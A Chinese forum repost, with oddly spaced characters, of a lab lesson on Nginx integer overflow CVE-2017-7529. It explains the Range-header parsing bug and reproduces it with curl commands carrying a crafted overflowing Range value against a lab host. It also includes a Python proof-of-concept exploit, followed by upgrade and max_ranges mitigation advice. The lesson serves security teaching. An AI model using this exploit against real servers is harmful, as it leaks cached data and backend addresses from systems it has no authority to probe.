搜索

[19147] 2017-11-10_【实验课】Nginx整数溢出漏洞（CVE-2017-7529）

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2017-11-10_【实验课】Nginx整数溢出漏洞（CVE-2017-7529） 【 实 验 课 】 N g i n x 整 数 溢 出 漏 洞 （ C V E - 2 0 1 7 - 7 5 2 9 ） i 春 秋   2 0 1 7 - 1 1 - 1 0 N g i n x   ( e n g i n e   x )   是 一 个 高 性 能 的 H T T P 和 反 向 代 理 服 务 器 ， 也 是 一 个 I M A P / P O P 3 / S M T P 服 务 器 。 N g i n x   可 以 在 大 多 数   U n i x L i n u x   O S   上 编 译 运 行 ， 并 有   W i n d o w s   移 植 版 。   N g i n x   的 1 . 4 . 0 稳 定 版 已 经 于 2 0 1 3 年 4 月 2 4 日 发 布 ， 一 般 情 况 下 ， 对 于 新 建 站 点 ， 建 议 使 用 最 新 稳 定 版 作 为 生 产 版 本 ， 已 有 站 点 的 升 级 急 迫 性 不 高 。 N g i n x   的 源 代 码 使 用   2 - c l a u s e   B S D - l i k e   l i c e n s e 。 N g i n x   是 一 个 很 强 大 的 高 性 能 W e b 和 反 向 代 理 服 务 器 ， 它 具 有 很 多 非 常 优 越 的 特 性 ： 在 连 接 高 并 发 的 情 况 下 ， N g i n x 是 A p a c h e 服 务 器 不 错 的 替 代 品 ： N g i n x 在 美 国 是 做 虚 拟 主 机 生 意 的 老 板 们 经 常 选 择 的 软 件 平 台 之 一 。 能 够 支 持 高 达   5 0 , 0 0 0   个 并 发 连 接 数 的 响 应 ， 感 谢 N g i n x 为 我 们 选 择 了   e p o l l   a n d   k q u e u e 作 为 开 发 模 型 。 近 期 ， N g i n x 官 方 发 布 最 新 的 安 全 公 告 ， 漏 洞 C V E 编 号 为 C V E - 2 0 1 7 - 7 5 2 9 ， 该 在 n g i n x 范 围 过 滤 器 中 发 现 了 一 个 安 全 问 题 ， 通 过 精 心 构 造 的 恶 意 请 求 可 能 会 导 致 整 数 溢 出 并 且 不 正 确 处 理 范 围 ， 从 而 导 致 敏 感 信 息 泄 漏 ， 存 在 安 全 风 险 。 该 漏 洞 影 响 所 有 0 . 5 . 6   -   1 . 1 3 . 2 版 本 内 默 认 配 置 模 块 的 N g i n x 只 需 要 开 启 缓 存 ， 访 问 者 即 可 发 送 恶 意 请 求 进 行 远 程 访 问 造 成 信 息 泄 露 。 当 N g i n x 服 务 器 使 用 代 理 缓 存 的 情 况 下 攻 击 者 通 过 利 用 该 漏 洞 可 以 拿 到 服 务 器 的 后 端 真 实 I P 或 其 他 敏 感 信 息 。 通 过 我 们 的 分 析 判 定 该 漏 洞 利 用 难 度 低 可 以 归 属 于 l o w - h a n g i n g - f r u i t 的 漏 洞 在 真 实 网 络 中 也 有 一 定 利 用 价 值 。 让 我 们 了 解 一 下 这 个 漏 洞 都 的 原 理 和 防 御 方 法 吧 ~ 实 验 环 境 实 验 环 境 操 作 机 ： w i n d o w s   X P 目 标 机 ： L i n u x I P ： 1 7 2 . 1 6 . 1 2 . 2 实 验 目 的 实 验 目 的
了 解 N g i n x 整 数 溢 出 漏 洞 的 原 理 学 习 其 攻 击 、 防 御 手 法 实 验 内 容 实 验 内 容 N g i n x N g i n x 是 一 款 轻 量 级 的 W e b   服 务 器 / 反 向 代 理 服 务 器 及 电 子 邮 件 （ I M A P / P O P 3 ） 代 理 服 务 器 ， 并 在 一 个 B S D - l i k e   协 议 下 发 行 。 其 特 点 是 占 有 内 存 少 ， 并 发 能 力 较 强 ， N g i n x   可 以 在 大 多 数   U n i x L i n u x   O S   上 编 译 运 行 ， 并 有   W i n d o w s   移 植 版 。 漏 洞 介 绍 漏 洞 介 绍 近 期 ， N g i n x 官 方 发 布 最 新 的 安 全 公 告 ， 漏 洞 C V E 编 号 为 C V E - 2 0 1 7 - 7 5 2 9 ， 该 在 n g i n x 范 围 过 滤 器 中 发 现 了 一 个 安 全 问 题 ， 通 过 精 心 构 造 的 恶 意 请 求 可 能 会 导 致 整 数 溢 出 并 且 不 正 确 处 理 范 围 ， 从 而 导 致 敏 感 信 息 泄 漏 ， 存 在 安 全 风 险 。 该 漏 洞 影 响 所 有 0 . 5 . 6   -   1 . 1 3 . 2 版 本 内 默 认 配 置 模 块 的 N g i n x 只 需 要 开 启 缓 存 攻 击 者 即 可 发 送 恶 意 请 求 进 行 远 程 攻 击 造 成 信 息 泄 露 。 当 N g i n x 服 务 器 使 用 代 理 缓 存 的 情 况 下 攻 击 者 通 过 利 用 该 漏 洞 可 以 拿 到 服 务 器 的 后 端 真 实 I P 或 其 他 敏 感 信 息 。 通 过 我 们 的 分 析 判 定 该 漏 洞 利 用 难 度 低 可 以 归 属 于 l o w - h a n g i n g - f r u i t 的 漏 洞 在 真 实 网 络 攻 击 中 也 有 一 定 利 用 价 值 。 影 响 版 本 影 响 版 本 0 . 5 . 6   -   1 . 1 3 . 2 实 验 步 骤 实 验 步 骤 步 骤 步 骤 1 ： 了 解 原 理 ： 了 解 原 理 通 过 查 看 p a t c h 确 定 问 题 是 由 于 对 h t t p   h e a d e r 中 r a n g e 域 处 理 不 当 造 成 ， 焦 点 在 n g x _ h t t p _ r a n g e _ p a r s e   函 数 中 的 循 环 ：

H T T P 头 部 r a n g e 域 的 内 容 大 约 为 R a n g e :   b y t e s = 4 0 9 6 - 8 1 9 2   b y t e s = - 字 符 串 指 针 p 中 即 为 “ b y t e s = ” 后 面 的 内 容 这 段 代 码 是 要 把 “ - ” 两 边 的 数 字 取 出 分 别 赋 值 给   s t a r t   和   e n d   变 量 标 记 读 取 文 件 的 偏 移 和 结 束 位 置 。 对 于 一 般 的 页 面 文 件 这 两 个 值 怎 么 玩 都 没 关 系 。 但 对 于 有 额 外 头 部 的 缓 存 文 件 若 s t a r t 值 为 负 （ 合 适 的 负 值 ） 那 么 就 意 味 着 缓 存 文 件 的 头 部 也 会 被 读 取 。 因 此 我 们 需 令   s u f f i x   =   1 由 此 可 推 知 R a n g e   的 内 容 必 然 为 R a n g e : b y t e s = - x x x 即 省 略 初 始   s t a r t   值 的 形 式 。 那 么 我 们 可 以 通 过   R a n g e   中 设   e n d   值 大 于 c o n t e n t _ l e n g t h （ 真 正 文 件 的 长 度 ） ， 这 样   s t a r t   就 自 动 被 程 序 修 正 为 负 值 了 。 但 是 在 写 利 用 过 程 中 发 现 一 个 问 题 若   e n d   值 很 大 那 么   s t a r t   的 绝 对 值 也 会 很 大 会 超 过 缓 存 文 件 的 起 始 头 部 造 成 读 取 失 败 。 若   e n d   值 不 够 大
那 么 换 算 下 来   s i z e   =   e n d   –   1   > =   c o n t e n t _ l e n g t h   （ e n d   >   c o n t e n t _ l e n g t h   见 前 文 所 述 ） 就 不 能 通 过 循 环 外 面 的 检 测 ： i f   ( s i z e > c o n t e n t _ l e n g t h ) { r e t u r n   N G X D E C L I N F D ; } 这 样 的 话 似 乎 无 论 设   e n d   为 何 值 都 无 法 达 成 利 用 了 。 继 续 跟 进 代 码 发 现 这 个 循 环 是 个 无 条 件 循 环 ， 尾 部 为 i f   ( * p + +   ! = ' , ' ) {   b r e a k ; } 也 就 是 说 若   R a n g e   域 形 如 R a n g e :   b y t e s = s t a r t - e n d , s t a r t 1 - e n d 1 , … 就 还 有 机 会 继 续 完 成 利 用 。 我 们 可 以 构 造 一 个   R a n g e :   b y t e s = - X ,   - Y 一 大 一 小 两 个   e n d   值 只 需 要 控 制 前 面 一 个   e n d   值 小 而 后 一 个   e n d   值 大 从 而 实 现   s t a r t   值 和   s i z e   值 皆 为 负 数 控 制   s t a r t   值 负 到 一 个 合 适 的 位 置 ， 那 么 就 能 成 功 利 用 读 到 缓 存 文 件 头 部 了 。 步 骤 步 骤 2 ： 漏 洞 复 现 ： 漏 洞 复 现 首 先 使 用 E v e r y t h i n g 搜 索 X s h e l l 工 具 连 接 目 标 机 1 7 2 . 1 6 . 1 2 . 2 进 行 操 作 。 账 号 ： i c h u n q i u 密 码 ： i c h u n q i u 我 们 在 缓 存 文 件 中 提 前 构 造 好 了 缓 存 文 件 ，   首 先 通 过 访 问 缓 存 文 件 拿 到 C o n t e n t - L e n g t h ， 之 后 设 置 r a n g e ， 读 取 文 件 内 容 。 我 们 首 先 访 问 ：
c u r l   - I   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / p r o x y / d e m o . p n g 看 到   C o n t e n t - L e n g t h :   1 6 5 8 5 ,   任 意 找 个 比 这 个 数 大 的 值 ， 例 如   1 7 2 0 8 ,   1 7 2 0 8 - 1 6 5 8 5 = 6 3 2 ， 第 二 个   r a n g e   值 为   0 x 8 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 - 1 7 2 0 8 ,   也 就 是   9 2 2 3 3 7 2 0 3 6 8 5 4 7 5 8 6 0 0 。 下 面 请 求 并 设 置 r a n g 值 ： c u r l   - i   h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 0 0 / p r o x y / d e m o . p n g   - r   - 1 7 2 0 8 , - 9 2 2 3 3 7 2 0 3 6 8 5 4 7 5 8 6 0 0 如 图 ， 已 经 成 功 读 取 到 到 了 缓 存 信 息 ， 输 出 了 K e y 。 注 意 ： 如 执 行 以 上 命 令 无 结 果 显 示 ， 可 多 次 执 行 此 命 令 P O C 如 下 ， 也 可 以 使 用 P O C 进 行 利 用 ， 请 同 学 课 下 进 行 学 习 研 究 ： # ! / u s r / b i n / e n v   p y t h o n #   c o d i n g : u t f - 8 i m p o r t   s y s i m p o r t   u r l l i b 2 i f   l e n ( s y s . a r g v )   <   2 :         p r i n t   " % s   u r l "   %   ( s y s . a r g v [ 0 ] )         p r i n t         p r i n t   " e g :   p y t h o n   % s h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / p r o x y / d e m o . p n g "   %   ( s y s . a r g v [ 0 ] )         s y s . e x i t ( ) u r l   =   s y s . a r g v [ 1 ] h e a d e r s   =   u r l l i b 2 . u r l o p e n ( u r l ,   t i m e o u t = 1 0 ) . h e a d e r s f i l e _ l e n   =   h e a d e r s [ " C o n t e n t - L e n g t h " ] r e q u e s t   =   u r l l i b 2 . R e q u e s t ( u r l ) r e q u e s t . a d d _ h e a d e r ( " R a n g e " ,   " b y t e s = - % d , - 9 2 2 3 3 7 2 0 3 6 8 5 4 % d "   %   (         i n t ( f i l e _ l e n )   +   6 2 3 ,   7 7 6 0 0 0   -   ( i n t ( f i l e _ l e n )   +   6 2 3 ) ) ) t r y :       c a c h e r e s   =   u r l l i b 2 . u r l o p e n ( r e q u e s t ,   t i m e o u t = 1 0 )         i f   c a c h e r e s . c o d e   = =   2 0 6   a n d   " C o n t e n t - R a n g e "   i n   c a c h e r e s . r e a d ( 2 0 4 8 ) :                 p r i n t   " V u l n e r a b l e : "   +   u r l e x c e p t :         p a s s 实 验 结 果 分 析 与 总 结 实 验 结 果 分 析 与 总 结 综 合 来 看 ， 这 个 漏 洞 就 是 整 数 溢 出 漏 洞 的 利 用 ， 能 够 从 C a c h e 文 件 中 获 取 C a c h e 头 的 信 息 。 在 某 些 配 置 的 情 况 下 C a c h e 头 中 会 存 在 I P 地 址 信 息 ， 造 成 信 息 泄 露 。 就 N g i n x 模 块 以 及 常 用 的 第 三 方 模 块 本 身 来 说 ， 无 法 通 过 这 个 整 数 溢 出 来 对 内 存 进 行 操 作 或 者 远 程 执 行 。 建 议 升 级 到 1 . 1 3 . 3 和 1 . 1 2 . 1 版 本 ； 如 果 不 能 升 级 ， 可 以 在 N g i n x 配 置 文 件 中 添 加 m a x _ r a n g e s   1 ， 从 而 禁 用 m u l t i p a r t   r a n g e 。
戳 阅 读 原 文 ， 感 受 实 验 环 境 哟 戳 阅 读 原 文 ， 感 受 实 验 环 境 哟 ~ 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理